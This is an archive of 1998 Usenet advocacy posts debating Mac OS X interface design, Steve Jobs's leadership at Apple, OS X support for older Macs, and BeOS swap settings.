References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com>
In article <6p2t9m$t36$2@cronkite.cygnus.com>,
jrudd@cygnus.com wrote:
> If you're going to have heirarchical menus, then you need to recognize that
> some operations aren't going to fit into your hierarchies/catagories, and you
> must have a root level hierarchy that accepts these operations. Otherwise,
> your UI design is inconsistant.
Not a very good point, IMHO. If you want applications to put menu item at the
root because they can't easy to categorized elsewhere then you are going to
run out of menu space pretty fast. Some NeXT applications put the Find Panel
inside the Edit menu. Finding something doesn't edit anything. Even Copy and
Select All aren't really commands that edit anything.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 18:39:26 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2107981839260001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com> <ericb-2007982116410001@128.84.203.147> <PbVs1.1389$E5.6653879@proxye1.san.rr.com> <Pine.SOL.3.96.980721103837.9943C-100000@ux7.cso.uiuc.edu> <hq6t1.1443$E5.7159109@proxye1.san.rr.com>
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In article <hq6t1.1443$E5.7159109@proxye1.san.rr.com>, "Ed Deans."
<eadeans@san.rr.com> wrote:
> Pulsar wrote in message ...
> >
> >I don't know about desktop printers, but so long as you are on the network
> >and the other person's machine has the permissions to access the
> >file/folder you created an alias for, then yes. The person you sent the
> >alias to can access that file/folder.
>
> Have you tried this or just saying that in theory it ought to work?
It works. In practice.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 18:29:44 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2107981829440001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> Also, I envision these as being floating windows (as I think NeXT's are).
> This way documents and such can't cover up the menu. (Just in case this
> wasn't clear from the mock ups).
In that case, you'll have windows whose close boxes routinely get covered
up by the floating menu. And if the menu is positioned Next-style, then
you'll get an even bigger strip of wasted space, as users stop positioning
windows along that whole strip under the menu.
See, each solution brings up a whole load of other problems. How do you
know Apple hasn't already considered and rejected your suggestion?
Andy Bates.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 22 Jul 1998 01:32:29 GMT
Organization: none
Message-ID: <6p3ffd$3fb$1@server.signat.org>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu>
<19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu>
<900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net>
<35b414c4.0@news.depaul.edu> <19980721190735247592@ts4-11.aug.com>
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Cc: nospamhattonr@aug.com
In <19980721190735247592@ts4-11.aug.com> Rick wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>
> > I disagree strongly. A CEO who has experienced failure and
> > learned from it is far better than a CEO who has never been
> > truly tested (ala Sculley, Spindler).
> >
>
> . and what has Jobs really leanred?
How to run multi-million(billion) dollar companies. NeXT may not have been
"large", but at some $50M it's nothing to sneeze at. Pixar and Apple on the
other hand are "big". Let me ask you this, how many >$10M companies have you
started? Well, he's started three (at least).
> Then why does he still throw tantrums?
What does that really have to do with anything? Did it ever have anything
to do with anything? Ok, so he may be weird (never met him), but so what?
> .. and whta platform has Jobs successfully sold? Ever?
Macs, Next to some degree, Disney Movies. What, do you think people just
gave his companies money?
> I have heard anytning in the press ot think Jobs has changed one little
> bit... either his strengths or his weaknesses.
Well Rick, when your company breaks $100M, you give him a call.
Maury
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X UI
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news>
Message-ID: <35b554b1.0@news.depaul.edu>
Date: 22 Jul 98 02:55:45 GMT
In comp.sys.next.advocacy Andy Bates <andyba@corp.webtv.net> wrote:
> In article <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
> > Indeed. Now ask yourself why Apple isn't exploring these things?
> How do you know they aren't?
I know why. Doing major work on the interface right now would
be like polishing the brass on a sinking ship. They have far,
far more important things to worry about right now. Primarily,
fixing all the *important* things that were left to rot, and
making sure the OSes run as well as possible. The UI is not
important enough to warrant significant resources *right
now*. The UI is not where the major problems are, and it is not
where Apple has fallen behind.
The last thing Apple needs right now is to try forcing another
OpenDoc down people's throats. Once the OS has settled down,
and isn't in the midst of heavy development, *then* they
can start working on this stuff. And when they do, Apple
should have their best and brightest on it; those people
are busy right now.
--
"... and subpoenas for all." - Ken Starr
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 21 Jul 1998 18:35:05 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2107981835050001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> No, I don't have any better idea. That should not prevent Apple from
> addressing this issue. Apple has the resources and people whose job it is
> to come up with ideas to do these things.
>
> I can think of a few things, but I don't know whether they would really be
> any better than what we have already.
Maybe Apple has done the same thing, and determined that they weren't any
better than the current OS.
> Not really. Applications will have to be modified to support Navigations
> Services. None of the applications you have installed on your machine now
> will support that when you plop Mac OS 8.5 on your machine.
>
> Furthermore, it has taken Apple 14 and a half years to fix this. This has
> always been high on the list of complaints about the Mac UI for as long as
> I remember. There is no reason why we couldn't have had something like
> Navigation Services years ago. Apple just futzed away with other things.
But that's an entirely different issue. If you want to discuss why Apple
isn't exploring other options NOW, then maybe something will get changed.
If you want to discuss why they didn't fix things a long time ago (and
complain when they do fix things, that they didn't fix them sooner), then
it's pretty much a worthless conversation.
> > You sure have heard about Fitts' Law?
>
> Fitt's Law?
You should probably be familiar with it before designing any menuing
system. See Tog on Interface. It may explain a lot of why the Apple menu
system is the way it is.
> > What I find curious is, that all of your suggested changes are
> > incremental.
>
> Why is that curious?
Because you're complaining one minute that all of Apple's UI changes have
been incremental while the rest of the core functionality has "stagnated,"
then you propose what are essentially incremental changes. Why do you fault
Apple for taking the same approach that you yourself are taking?
> Indeed. Now ask yourself why Apple isn't exploring these things?
How do you know they aren't?
> Why are
> we going to be stuck with a Mac UI that still has a lot of problems?
Who says we will?
Andy Bates.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net> <35b414c4.0@news.depaul.edu> <19980721190735247592@ts4-11.aug.com>
Message-ID: <35b52e77.0@news.depaul.edu>
Date: 22 Jul 98 00:12:39 GMT
In comp.sys.next.advocacy Rick <nospamhattonr@aug.com> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > I disagree strongly. A CEO who has experienced failure and
> > learned from it is far better than a CEO who has never been
> > truly tested (ala Sculley, Spindler).
> >
> . and what has Jobs really leanred?
How to run a business?
> > The management problems he had the first time at Apple have largely
> > been fixed by later experience, by learning from coworkers and
> > associates, by watching the rest of the industry, and (I'd assume)
> > by reflecting on the mistakes of his past.
> >
> Then why does he still throw tantrums?
Because he can? Because he's the boss? Because he's a billionaire?
Nobody complains about Bill Gates' tantrums.
Better to have the CEO throwing tantrums than the employees, which
I take to have been the prior state at Apple.
> I also wonder if he still has his "A" team of advisors.. and
> lets other's advice blow past him.
Maybe, maybe not.
> > The management problems he had at NeXT have largely been fixed
> > by the same things. Also consider that NeXT faced issues that
> > are not faced by Apple; namely, NeXT was a new, unknown,
> > incompatible platform with no software. *IBM* couldn't
> > even introduce a new OS successfully, and theirs ran
> > Windows apps on Intel PC's. The most successful new
> > platform this decade is *the Palm Pilot*. Just about
> > everything else has failed.
> >
> What?? There wasnt really any software for the Apple II when it was
> introduced, and the only apps for the Mac was MacWrite and MacPaint.
> Neither was compatible with anything else. IBMM ran on DOS, then
> windows, and OS/2 was really killed n=by the MS behemoth. The Newton
> wasnt unsuccessful, and we still need to wait and see waht crap MS pulls
> to try to make the WinCe pieces of crap dominant befoer you declare teh
> Palm Pilot a success.
The Apple II and the Mac didn't have nearly as much competition as
NeXT did. There weren't nearly as many machines out there.
> > I think we've seen that Jobs certainly *can* sell a
> > platform. Not just any platform, but the Mac, which was
> > all but given last rites.
> >
> .. and whta platform has Jobs successfully sold? Ever?
He's obviously having a good bit of success selling the Mac.
> > Jobs has his 'warts', so to speak, but frankly I can't think of
> > *anyone* better for the job.
> I have heard anytning in the press ot think Jobs has changed one little
> bit... either his strengths or his weaknesses.
You haven't been reading very widely then.
--
"... and subpoenas for all." - Ken Starr
From: Jay Riley <datamagik@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 22 Jul 1998 03:07:37 GMT
Organization: DATAMAGIK * Systems, Software, & Design Engineering
Message-ID: <6p3l1p$qe9@lace.colorado.edu>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p1hlq$f44$2@news10.ispnews.com> <6p1ill$6s3$1@bunyip.cc.uq.edu.au> <6p1l6e$11l$1@news2.ispnews.com> <joe.ragosta-2107980820070001@0.0.0.0> <6p24r7$sfm$1@fir.prod.itd.earthlink.net>
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"Pinochet" <dont!graywant!home!@spam!sprinthere!mail.com> :
> Joe Ragosta wrote in message ...
> >In article <6p1l6e$11l$1@news2.ispnews.com>, Earl Malmrose
> ><malmrose@nospam.jetcity.com> wrote:
>
> >> > Well, you can't set the swap to *less* than that, although if you
> >>>physically don't have that much space on your BeOS partition it >>might
> use less.
>
> >> "might use less" in actuality is "doesn't need any". If there isn't
> >>enough free space for the minimum size swap file, no swap file is >>used
> at all. A swap file is not required. And the minimum swap size >>varies
> depending on how much physical ram there is. I have 128MB, >>and the
> minimum swap size is 1.5x. It would be nice to make it >>smaller, but
> that's a pretty small gripe.
>
> >Hmmm. I notice that when someone wants to criticize Mac OS for its >fixed
> VM swap file, it's a very bad thing. But with BeOS, it's a pretty >small
> gripe.
>
>
> You have noted Earl Malmrose making that complaint about the MacOS? If so,
> then your statement is valid, otherwise you're just blowing hot air. Not
> that the BeOS swap file is really all that fixed, it just can't
> be made smaller than 1.5x the memory size in the configuration(though
> it can be smaller than that you just have to fight the system). It should
> be fixed though, since the solution wouldn't be that hard, would it?
>
I've got to defend Joe on this one. There does seem to be a double standard,
especially with those cross-posting to the Mac advocacy group. For example:
multitasking was irrelevant to the PC crowd until MS forced everyone to adopt
Windows and suddenly it was important, and even more important that it be the
same flavor as Windows (ie pre-emptive versus cooperative) even when end
results were the same.
Just because Earl Malmrose didn't post a Mac derisive remark (bully for you
Earl for sticking to the higher ground BTW) doesn't invalidate Joe's point.
At least not to my way of thinking.
Regards,
Jay Riley/Owner, DATAMAGIK
[Cyberdog users send mail to datamagik@usa.net]
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 jay.riley@usa.net
Posted from BeOS for PowerPC, Release 3.1
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X UI
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <6p3jbj$dm$1@nnrp1.dejanews.com>
Message-ID: <35b559da.0@news.depaul.edu>
Date: 22 Jul 98 03:17:46 GMT
In comp.sys.next.advocacy quinlan@intergate.bc.ca wrote:
> In article <6p2t9m$t36$2@cronkite.cygnus.com>,
> jrudd@cygnus.com wrote:
> > If you're going to have heirarchical menus, then you need to recognize that
> > some operations aren't going to fit into your hierarchies/catagories, and you
> > must have a root level hierarchy that accepts these operations. Otherwise,
> > your UI design is inconsistant.
> Not a very good point, IMHO. If you want applications to put menu item at the
> root because they can't easy to categorized elsewhere then you are going to
> run out of menu space pretty fast. Some NeXT applications put the Find Panel
> inside the Edit menu. Finding something doesn't edit anything. Even Copy and
> Select All aren't really commands that edit anything.
They are commands used during editing, though, and Find is often
used during editing, too. For instance, search/replacing a bit
of text.
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <1dcj35g.1mmhw2af7vugwN@du137-242.ppp.algonet.se> <not-2107981133460001@ip-26-140.phx.primenet.com> <1dcjp6z.90onja1xhjce9N@du137-242.ppp.algonet.se>
Message-ID: <35b53dee.0@news.depaul.edu>
Date: 22 Jul 98 01:18:38 GMT
In comp.sys.next.advocacy Magnus Thoor <qwerty.x@algonet.se> wrote:
> Amelio and company said shortly after NeXT was purchased that all Macs
> shipping on and after 97-01-01 would run Apple's "next generation OS" (I
> could probably dig up a quote from Apple's web-pages but I'm typing this
> off-line). They did promise it alright.
They didn't promise to support it for very long. If they'll run Rhapsody
(er, Mac OS/X Server) then they've fulfilled the letter of the
promise.
> That's exactly what they said. "All Macs shipping on or after 97-01-01
> will be able to run our next generation OS."
And most of them will run Mac OS/X Server. There ya go.
> > If you're such a doomsayer, why don't you get out right now? 400 MHz PIIs
> I'm not a doomsayer. I'm just noticing how many Mac-users feel betrayed
> by the latest events.
Mac-users seem way too sensitive. I think they've been spoiled.
> It's especially annoying since there seems to be no technical reason for
> not delivering on their promises. Speculation: They simple want to give
> the clones a final stab in the back and/or sell more G3's.
Supporting pre-G3's would be a massive pain, and *extremely* expensive.
They want to clean up the architecture, without dragging along the
old hacks, patches, and workarounds. That would only slow down future
OS improvements and increase costs down the road.
By the time OS/X ships, the pre-G3 Macs will look pretty old. A year
later, they'll look *really* tired. I don't think it's worthwhile
for Apple to support hardware that will be so outdated *so* quickly.
--
"... and subpoenas for all." - Ken Starr
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 13:23:15 +1000
Organization: University of Queensland
Message-ID: <6p3lvl$uo8$1@bunyip.cc.uq.edu.au>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <slrn6ra0hr.7jn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote in message
slrn6ra0hr.7jn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu...
>On Tue, 21 Jul 1998 16:56:39 +1000, Christopher Smith <drsmithy@usa.net>
wrote:
>:
>:The difference being, Win95 will run (usably even) on machines built about
4
>:years before it was released. Apple can't even commit to OS X running on
>:machines that will be barely *18 months* old at its release.
>
>Win95 <-> MacOS 9.
>WinNT <-> MacOS X
Is this an admission that Apple are and will be about 3 or 4 years behind ?
Still not much of a point, given that NT4 will "run" on machines made in
1989, and run usably on machines made in late 1993.
.
>
>--
>* Matthew B. Kennel/Institute for Nonlinear Science,
-
>* "People who send spam to Emperor Cartagia... vanish! _They say_ that
>* there's a room where he has their heads, lined up in a row on a desk...
>* _They say_ that late at night, he goes there, and talks to them... _they
>*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: "Sean C. Payne" <scpayne@digital.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Tue, 21 Jul 1998 21:29:54 -0400
Organization: SCP Consulting
Message-ID: <35B54092.4026@digital.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net> <35b414c4.0@news.depaul.edu>
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NNTP-Posting-Date: 22 Jul 1998 01:27:12 GMT
Cc: news.cais.net
Jonathan W Hendry wrote:
>
> In comp.sys.next.advocacy Sean C. Payne <scpayne@digital.net> wrote:
> > >
> > Next=Steve Jobs=No clue how to sell a hardware/software platform...
> > Which really concerns me now that he is back at Apple...
>
> I disagree strongly. A CEO who has experienced failure and
> learned from it is far better than a CEO who has never been
> truly tested (ala Sculley, Spindler).
>
> The management problems he had the first time at Apple have largely
> been fixed by later experience, by learning from coworkers and
> associates, by watching the rest of the industry, and (I'd assume)
> by reflecting on the mistakes of his past.
>
I hope for Apple's and their loyal customers that you are right. Even
though I've had two Mac's (got rid of the first when I could only afford
one computer and kept my OS/2 system and picked one up real cheap this
past weekend just for grins) I really wanted to see the MacClone market
and CHRP take off and I belive the finger can safely be pointed at Jobs
for killing that.
> The management problems he had at NeXT have largely been fixed
> by the same things. Also consider that NeXT faced issues that
> are not faced by Apple; namely, NeXT was a new, unknown,
> incompatible platform with no software. *IBM* couldn't
> even introduce a new OS successfully, and theirs ran
> Windows apps on Intel PC's. The most successful new
> platform this decade is *the Palm Pilot*. Just about
> everything else has failed.
IBM was "too successful" when they roled out Warp. Unfortunately for
various reasons they desided the SOHO market wasn't worth the
support... As for the Palm Pilot I agree whole heartedly. I've got one
and love it. Now if some programing guru out there will make an
interface to Be for it...
> I think we've seen that Jobs certainly *can* sell a
> platform. Not just any platform, but the Mac, which was
> all but given last rites.
>
> Jobs has his 'warts', so to speak, but frankly I can't think of
> *anyone* better for the job.
>
> --
> "... and subpoenas for all." - Ken Starr
Sincerely,
Sean C. Payne
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: Tyler Riti <fizzboy@mail.utexas.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
In-Reply-To: <19980721190735247592@ts4-11.aug.com>
Message-ID: <Pine.BOS.3.96.980721224120.222D-100000@fbnp>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net> <35b414c4.0@news.depaul.edu> <19980721190735247592@ts4-11.aug.com>
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Date: Wed, 22 Jul 1998 03:43:19 GMT
NNTP-Posting-Date: Tue, 21 Jul 1998 22:43:19 CDT
On Tue, 21 Jul 1998, Rick wrote:
>Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>
>> I disagree strongly. A CEO who has experienced failure and
>> learned from it is far better than a CEO who has never been
>> truly tested (ala Sculley, Spindler).
>>
>
>. and what has Jobs really leanred?
Who knows but I fail to see why this argument is still being cross posted to
c.s.b.a so I've removed it from the newsgroups headers. Enjoy your
discussion. ^_^
Tyler Riti -- http://www.cs.utexas.edu/users/fizzboy/
"Tears, happiness... The two are interchangable."
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 22 Jul 1998 02:20:23 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6p3i97$507$1@news02.btx.dtag.de>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net>
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Joe Ragosta <joe.ragosta@dol.net> wrote:
> In article <B1D4F704-26A9A@206.165.43.134>, "Lawson English"
> <english@primenet.com> wrote:
>
> > Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> said:
> >
> > >In article <6oimuj$nsq$1@news00.btx.dtag.de>, Fam.Traeger@t-online.de
> > >(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
> > [snipt]
> > >> Bingo! If you want to write apps for the Mac, would you chose an API
> > >> that runs on Wintel but not on a large number of Macs still in use, the
> > >> 68ks?
> > >
> > >
> > >
> > >In a new york second.
> >
> > I think that he meant: "if you already write for the Mac..." implying that
> > you have an installed base of customers who still use 68K machines.
>
> Perhaps. But if you're selling software today, what percentage of your
> sales are to pepole using 68k machines? I'm sure it's a very small
> percentage.
It may still be higher than that of "real" G3s. It's high enough that
most apps, even games still have 68k versions (I'm talking about the
68k-family btw, incl. 68040).
Depending on the ifs and hows of YB for MacOS, the 68ks may well be the
smaller part of machines not supported.
Lars T.
From: randomj@ozemail.com.au (Craig McFarlane)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.system
Subject: Re: Apple, replace g3's floppy with superdisk!!
Date: Wed, 22 Jul 1998 15:06:24 +1000
Organization: Delaney & Morgan Computing
Distribution: world
Message-ID: <randomj-ya02408000R2207981506240001@news.ozemail.com.au>
References: <6nvdvi$r15$1@news12.ispnews.com> <jpolaski-0907980849330001@d151-216.ce.mediaone.net> <6o2igm$ss6$1@news0-alterdial.uu.net> <6o34ih$bac$1@callisto.acsu.buffalo.edu> <6o3iuf$u1e$1@nnrp1.dejanews.com> <35aa8d72.340166712@news.clark.net> <980714200643-see@my.sig.com>
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In article <980714200643-see@my.sig.com>, see@my.sig.com wrote:
>In article <35aa8d72.340166712@news.clark.net> of groups
>comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,
>comp.sys.mac.system, John writes:
>
>> Obtw troll, you can get a 2 button mouse for your Mac.
>
>That would be a step down from my four button mouse... :-)
Years ago now, BYTE featured the 101-button mouse, which was basically a
keyboard that you could use as a mouse. "It ends the mouse button debate
forever", well, at least until those atrocious 104-key PC keyboards started
festering in shops. One of the more memorable April editions.
cya
Craig
--
------------------------------------------------------------------------
Craig McFarlane randomj@ozemail.com.au
Delaney & Morgan Computing Fax: +61 3 9878-3910
ACN 058 140 702 PO Box 84 Forest Hill Vic 3131 AUSTRALIA
"My opinions had better be those of the management, or they're FIRED!"
========================================================================
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 04:22:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p3pen$6vq$1@nnrp1.dejanews.com>
